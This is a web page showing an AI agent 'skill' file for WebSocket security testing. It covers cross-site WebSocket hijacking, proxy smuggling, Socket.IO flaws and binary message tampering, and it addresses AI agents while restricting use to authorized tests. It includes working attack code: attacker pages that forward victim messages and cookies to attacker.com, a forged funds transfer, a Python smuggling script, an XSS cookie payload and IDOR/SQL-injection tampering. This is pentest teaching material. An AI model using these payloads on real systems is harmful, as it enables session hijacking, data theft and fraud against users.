WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Instruções da origem · Visualização somente leitura
name
websocket-security
description
WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
SKILL: WebSocket Security
AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.
Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.
1. PROTOCOL BASICS
Client request (typical)
Upgrade: websocket and Connection: Upgrade — required upgrade handshake.
Sec-WebSocket-Key — base64 nonce; server hashes with magic GUID and responds with Sec-WebSocket-Accept.
Sec-WebSocket-Version: 13 — current standard version for browser interoperability.
Server response
HTTP/1.1 101 Switching Protocols — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
Minimal conceptual flow:
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
Condition
The server does not validate Origin (or equivalent binding) on the WebSocket handshake, and
The victim has an active session (cookie-based or browser-stored creds) to the target site.
Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.
Testing notes: Confirm whether Origin is checked, whether cookies are sent (SameSite rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.
Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.
5. DECISION TREE
Identify endpoint — From JS bundles, Swagger, or 101 responses; note wss vs ws.
Handshake review — Are Origin, Host, and Cookie policies correct? Any token in query string?
Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
Transport — Flag ws:// in production; verify TLS and HSTS alignment.
6. RELATED ROUTING
From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.
Note: WebSocket often shares session and permission models with REST; use api-sec to align authentication and resource boundaries on the same backend.
7. CSWSH — STEP-BY-STEP EXPLOITATION
Step 1: Confirm no Origin check on WS handshake
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
Step 2: Craft attacker page
<html><body><script>const ws = newWebSocket('wss://target.com/ws');
ws.onopen = function() {
// Connection established as victim (cookies sent automatically)console.log('Connected as victim');
// Send commands as victim
ws.send(JSON.stringify({action: 'get_profile'}));
ws.send(JSON.stringify({action: 'list_messages'}));
};
ws.onmessage = function(event) {
// Exfiltrate all received messagesfetch('https://attacker.com/collect', {
method: 'POST',
body: event.data
});
};
ws.onerror = function(err) {
fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script></body></html>
Step 3: Cookies and session hijacking
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent
Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
Step 4: Read/write messages as victim
// Attacker can both READ and WRITE on the WebSocket// Read: financial data, private messages, admin commands// Write: transfer funds, change settings, send messages as victim
ws.onopen = () => {
// Write: perform actions as victim
ws.send(JSON.stringify({
action: 'transfer',
to: 'attacker_account',
amount: 10000
}));
};
ws.onmessage = (e) => {
const data = JSON.parse(e.data);
if (data.type === 'balance') {
// Read: exfiltrate sensitive data
navigator.sendBeacon('https://attacker.com/data',
JSON.stringify(data));
}
};
8. WEBSOCKET SMUGGLING
Concept
Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.
Upgrade-based proxy bypass
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
GET /admin HTTP/1.1
Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
H2-over-WebSocket smuggling
1. Connect to target via WebSocket
2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
3. Backend HTTP/2 handler processes the smuggled requests
4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
Implementation with Python
import websocket
import ssl
ws = websocket.create_connection(
'wss://target.com/ws',
header=['Origin: https://target.com'],
sslopt={"cert_reqs": ssl.CERT_NONE}
)
# After upgrade, send raw HTTP through the tunnel
smuggled_request = (
b"GET /admin/users HTTP/1.1\r\n"b"Host: internal-backend\r\n"b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2) # binary frame
response = ws.recv()
print(response)
Proxy-specific behaviors
Proxy
WebSocket Tunnel Behavior
Nginx
Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames
HAProxy
Depends on option http-server-close vs tunnel mode
AWS ALB
Terminates WebSocket — reframes traffic, harder to smuggle
Cloudflare
Inspects WebSocket frames — raw HTTP smuggling blocked
Varnish
Does not support WebSocket natively — upgrade may bypass cache entirely
9. SOCKET.IO SPECIFIC VULNERABILITIES
Namespace injection
Socket.IO supports namespaces (/admin, /chat). If authorization is only on the default namespace:
// Client connects to privileged namespace without auth checkconst adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
adminSocket.emit('list_users');
});
// Server may not verify that the client is authorized for /admin namespace
Event name injection
If event names are derived from user input:
// Server-side vulnerable pattern:
socket.on(userInput, handler);
// Attacker sends event name that matches internal event:
socket.emit('__disconnect'); // force disconnect other clients
socket.emit('connection'); // re-trigger connection handler
socket.emit('error'); // trigger error handler
Acknowledgement callback abuse
Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:
socket.emit('get_data', {id: 'admin'}, (response) => {
// response may contain data the client shouldn't have access tofetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(response)
});
});
Polling fallback CSRF
Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:
POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream
4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
10. WEBSOCKET MESSAGE INJECTION
In intercepted connections (MITM on ws://)
If the application uses ws:// (unencrypted), an attacker on the same network can inject messages:
1. ARP spoofing or network position to intercept traffic
2. Identify WebSocket frames in TCP stream
3. Inject crafted frames between legitimate messages
4. Both client→server and server→client injection possible
Application-level injection
When WebSocket messages are concatenated or interpolated without sanitization:
1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
2. Server stores message and broadcasts to all connected clients
3. If client renders message as HTML → stored XSS
4. All connected users affected simultaneously
11. BINARY WEBSOCKET MESSAGE MANIPULATION
Protobuf deserialization
Applications using Protocol Buffers over WebSocket may be vulnerable to:
1. Capture binary WebSocket frame
2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
3. Modify field values (e.g., change user_id, amount, role)
4. Re-encode and send modified frame
5. Server deserializes without re-validating field constraints
# Decode captured binary frameecho"CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
# Output: field structure with types and values# Modify, re-encode, send back through WebSocket
MessagePack deserialization
import msgpack
import websocket
ws = websocket.create_connection('wss://target.com/ws')
# Decode received binary message
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}# Modify and re-send
data['user_id'] = 1# IDOR: access admin's balance
ws.send(msgpack.packb(data), opcode=0x2)
Type confusion attacks
Binary serialization formats may allow type confusion:
# Original: user_id as integer (field type 0)
# Modified: user_id as string "1 OR 1=1" (field type 2)
# If server doesn't validate types after deserialization → SQL injection
# Original: is_admin as boolean false (0x00)
# Modified: is_admin as boolean true (0x01)
# Direct privilege escalation if server trusts deserialized values